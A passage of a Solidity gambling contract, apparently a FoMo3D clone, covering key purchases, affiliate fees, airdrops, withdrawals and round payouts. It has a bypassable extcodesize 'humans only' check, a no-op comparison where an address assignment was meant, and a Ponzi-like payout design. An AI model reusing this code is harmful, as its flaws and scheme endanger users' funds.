mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own)
//****************
// ROUND DATA
//****************
mapping (uint256 => CAE4Ddatasets.Round) public round_; // (rID => data) round data
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id
//****************
// TEAM FEE DATA
//****************
mapping (uint256 => CAE4Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team
mapping (uint256 => CAE4Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy)
//==============================================================================
//constructor(address addr1,address addr2)
constructor()
public
{
//playerbookaddr = addr2;
//jekylladdr = addr1;
//DiviesInterface constant private Divies = DiviesInterface(0xc7029Ed9EBa97A096e72607f4340c34049C7AF48);
//Jekyll_Island_Inc = JIincForwarderInterface(jekylladdr);
//PlayerBook = PlayerBookInterface(playerbookaddr);
// Team allocation structures
// 0 = elephants
// 1 = nuts
// 2 = rock
// 3 = rivulets
// Team allocation percentages
// (Gen,Pot,Referrals,Community)
// Referrals / Community rewards are mathematically designed to come from the winner's share of the pot.
fees_[0] = CAE4Ddatasets.TeamFee(20,60,15,5); //60% to pot, 15% to aff, 5% to com
fees_[1] = CAE4Ddatasets.TeamFee(41,24,30,5); //24% to pot, 30% to aff, 5% to com
fees_[2] = CAE4Ddatasets.TeamFee(55,30,10,5); //30% to pot, 10% to aff, 5% to com
fees_[3] = CAE4Ddatasets.TeamFee(50,20,25,5); //20% to pot, 25% to aff, 5% to com
// how to split up the final pot based on which team was picked
// (gen,win,next,com)
potSplit_[0] = CAE4Ddatasets.PotSplit(10,75,13,2); //75% to winner, 13% to next round, 2% to com
potSplit_[1] = CAE4Ddatasets.PotSplit(20,65,13,2); //65% to winner, 13% to next round, 2% to com
potSplit_[2] = CAE4Ddatasets.PotSplit(25,65,8,2); //65% to winner, 8% to next round, 2% to com
potSplit_[3] = CAE4Ddatasets.PotSplit(40,45,13,2); //45% to winner, 13% to next round, 2% to com
}
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
/**
* @dev emergency buy uses last stored affiliate ID and team snek
*/
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
CAE4Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// buy core
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
/**
* @dev converts all incoming ethereum to keys.
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
*/
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
CAE4Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
CAE4Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
CAE4Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
/**
* @dev essentially the same as buy, but instead of you sending ether
* from your wallet, it uses your unwithdrawn earnings.
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
* @param _eth amount of earnings to use (remainder returned to gen vault)
*/
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
CAE4Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
CAE4Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
CAE4Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
/**
* @dev withdraws all of your earnings.
* -functionhash- 0x3ccfd60b
*/
function withdraw()
isActivated()
isHuman()
public
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// setup temp var for player eth
uint256 _eth;
// check to see if round has ended and no one has run round end yet
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// set up our tx event data
CAE4Ddatasets.EventReturns memory _eventData_;
// end the round (distributes pot)
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire withdraw and distribute event
emit CAE4Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
// in any other situation
} else {
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// fire withdraw event
emit CAE4Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
/**
* @dev use these to register names. they are just wrappers that will send the
* registration requests to the PlayerBook contract. So registering here is the
* same as registering there. UI will always display the last name you registered.
* but you will still own all previously registered names to use as affiliate
* links.
* - must pay a registration fee.
* - name must be unique
* - names will be converted to lowercase
* - name cannot start or end with a space
* - cannot have more than 1 space in a row
* - cannot be only numbers
* - cannot start with 0x
* - name must be at least 1 char
* - max length of 32 characters long
* - allowed characters: a-z, 0-9, and space
* @param _nameString players desired name
* @param _affCode affiliate ID, address, or name of who referred you
* @param _all set to true if you want this to push your info to all games
* (this might cost a lot of gas)
*/
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit CAE4Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit CAE4Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit CAE4Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
//==============================================================================
// _ _ _|__|_ _ _ _ .
// (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan)
//=====_|=======================================================================
/**
* @dev return the price buyer will pay for next 1 individual key.
* -functionhash- 0x018a25e8
* @return price for next key bought (in wei format)
*/
function getBuyPrice()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else // rounds over. need price for new round
return ( 75000000000000 ); // init
}
/**
* @dev returns time left. dont spam this, you'll ddos yourself from your node
* provider
* -functionhash- 0xc7e284b8
* @return time left in seconds
*/
function getTimeLeft()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
/**
* @dev returns player earnings per vaults
* -functionhash- 0x63066434
* @return winnings vault
* @return general vault
* @return affiliate vault
*/
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
// if round has ended. but round end has not been run (so contract has not distributed winnings)
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// if player is winner
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
// if player is not the winner
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
// if round is still going on, or round has ended and round end has been ran
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
/**
* solidity hates stack limits. this lets us avoid that hate
*/
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
/**
* @dev returns all current round info needed for front end
* -functionhash- 0x747dff42
* @return eth invested during ICO phase
* @return round id
* @return total keys for round
* @return time round ends
* @return time round started
* @return current pot
* @return current team ID & player ID in lead
* @return current player in leads address
* @return current player in leads name
* @return elephants eth in for round
* @return nuts eth in for round
* @return rock eth in for round
* @return rivulets eth in for round
* @return airdrop tracker # & airdrop pot
*/
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
return
(
round_[_rID].eth, //0
_rID, //1
round_[_rID].keys, //2
round_[_rID].end, //3
round_[_rID].strt, //4
round_[_rID].pot, //5
(round_[_rID].team + (round_[_rID].plyr * 10)), //6
plyr_[round_[_rID].plyr].addr, //7
plyr_[round_[_rID].plyr].name, //8
rndTmEth_[_rID][0], //9
rndTmEth_[_rID][1], //10
rndTmEth_[_rID][2], //11
rndTmEth_[_rID][3], //12
airDropTracker_ + (airDropPot_ * 1000) //13
);
}
function getCurrentRoundRewards()
public
view
returns(uint256){
uint256 _rID = rID_;
return (round_[_rID].eth.add(round_[_rID].initPot).sub(round_[_rID].pot));
}
/**
* @dev returns player info based on address. if no address is given, it will
* use msg.sender
* -functionhash- 0xee0b5d8b
* @param _addr address of the player you want to lookup
* @return player ID
* @return player name
* @return keys owned (current round)
* @return winnings vault
* @return general vault
* @return affiliate vault
* @return player round eth
*/
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID, //0
plyr_[_pID].name, //1
plyrRnds_[_pID][_rID].keys, //2
plyr_[_pID].win, //3
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4
plyr_[_pID].aff, //5
plyrRnds_[_pID][_rID].eth //6
);
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine)
//=====================_|=======================================================
/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, CAE4Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// call core
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
// if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit CAE4Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
// put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
/**
* @dev logic runs whenever a reload order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, CAE4Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// get earnings from all vaults and return unused to gen vault
// because we use a custom safemath library. this will throw if player
// tried to spend more eth than they have.
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
// call core
core(_rID, _pID, _eth, _affID, _team, _eventData_);
// if round is not active and end round needs to be ran
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit CAE4Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
/**
* @dev this is the core logic for any buy/reload that happens while a round
* is live.
*/
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, CAE4Ddatasets.EventReturns memory _eventData_)
private
{
// if player is new to round
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
// early round eth limiter
//if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 5000000000000000000)
//{
// uint256 _availableLimit = (5000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
// uint256 _refund = _eth.sub(_availableLimit);
// plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
// _eth = _availableLimit;
//}
// if eth left is greater than min eth allowed (sorry no pocket lint)
if (_eth > 1000000000)
{
// mint the new keys
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
// if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
// set new leaders
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
// set the new leader bool to true
_eventData_.compressedData = _eventData_.compressedData + 100;
}
// manage airdrops
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
// gib muni
uint256 _prize;
if (_eth >= 10000000000000000000)
{
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 2 prize was won
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
}
// set airdrop happened bool to true
_eventData_.compressedData += 10000000000000000000000000000000;
// let event know how much was won
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
// reset air drop tracker
airDropTracker_ = 0;
}
}
// store the air drop tracker number (number of buys since last airdrop)
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
// update player
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
// update round
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
// distribute eth
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
// call end tx function to fire end tx event.
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
//==============================================================================
// _ _ | _ | _ _|_ _ _ _ .
// (_(_||(_|_||(_| | (_)| _\ .
//==============================================================================
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
/**
* @dev returns the amount of keys you would get given an amount of eth.
* -functionhash- 0xce89c80c
* @param _rID round ID you want price for
* @param _eth amount of eth sent in
* @return keys received
*/
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else // rounds over. need keys for new round
return ( (_eth).keys() );
}
/**
* @dev returns current eth price for X keys.
* -functionhash- 0xcf808000
* @param _keys number of keys desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else // rounds over. need price for new round
return ( (_keys).eth() );
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
/**
* @dev receives name/player info from names contract
*/
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev receives entire player name list
*/
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev gets existing or registers new pID. use this when a player may be new
* @return pID
*/
function determinePID(CAE4Ddatasets.EventReturns memory _eventData_)
private
returns (CAE4Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
// if player is new to this version of fomo3d
if (_pID == 0)
{
// grab their player ID, name and last aff ID, from player names contract
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
// set up player account
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
// set the new player bool to true
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
/**
* @dev checks to make sure user picked a valid team. if not sets team
* to default (rock)
*/
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
/**
* @dev decides if round end needs to be run & new round started. and if
* player unmasked earnings from previously played rounds need to be moved.
*/
function managePlayer(uint256 _pID, CAE4Ddatasets.EventReturns memory _eventData_)
private
returns (CAE4Ddatasets.EventReturns)
{
// if player has played a previous round, move their unmasked earnings
// from that round to gen vault.
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
// update player's last round played
plyr_[_pID].lrnd = rID_;
// set the joined round bool to true
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
/**
* @dev ends the round. manages paying out winner/splitting up pot
*/
function endRound(CAE4Ddatasets.EventReturns memory _eventData_)
private
returns (CAE4Ddatasets.EventReturns)
{
// setup local rID
uint256 _rID = rID_;
// grab our winning player and team id's
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
// grab our pot amount
uint256 _pot = round_[_rID].pot;
// calculate our winner share, community rewards, gen share,
// p3d share, and amount reserved for next pot
uint256 _win = (_pot.mul(potSplit_[_winTID].win)) / 100;
uint256 _com = (_pot.mul(potSplit_[_winTID].com)) / 100;
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _res = ((_pot.sub(_win)).sub(_com)).sub(_gen);
// calculate ppt for round mask
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
// pay our winner
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
// community rewards
if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()"))))
{
// This ensures Team Just cannot influence the outcome of FoMo3D with
// bank migrations by breaking outgoing transactions.
// Something we would never do. But that's not the point.
// We spent 2000$ in eth re-deploying just to patch this, we hold the
// highest belief that everything we create should be trustless.
// Team JUST, The name you shouldn't have to trust.
//_p3d = _p3d.add(_com);
_res = _res.add(_com);
_com = 0;
}
// distribute gen portion to key holders
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// send share for p3d to divies
//if (_p3d > 0)
//Divies.deposit.value(_p3d)();
// prepare event data
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
//_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
// start next round
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
round_[_rID].initPot = round_[_rID].pot;
return(_eventData_);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
// put in gen vault
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
// zero out their earnings by updating mask
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
/**
* @dev updates round timer based on number of whole keys bought.
*/
function updateTimer(uint256 _keys, uint256 _rID)
private
{
// grab time
uint256 _now = now;
// calculate time based on number of keys bought
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
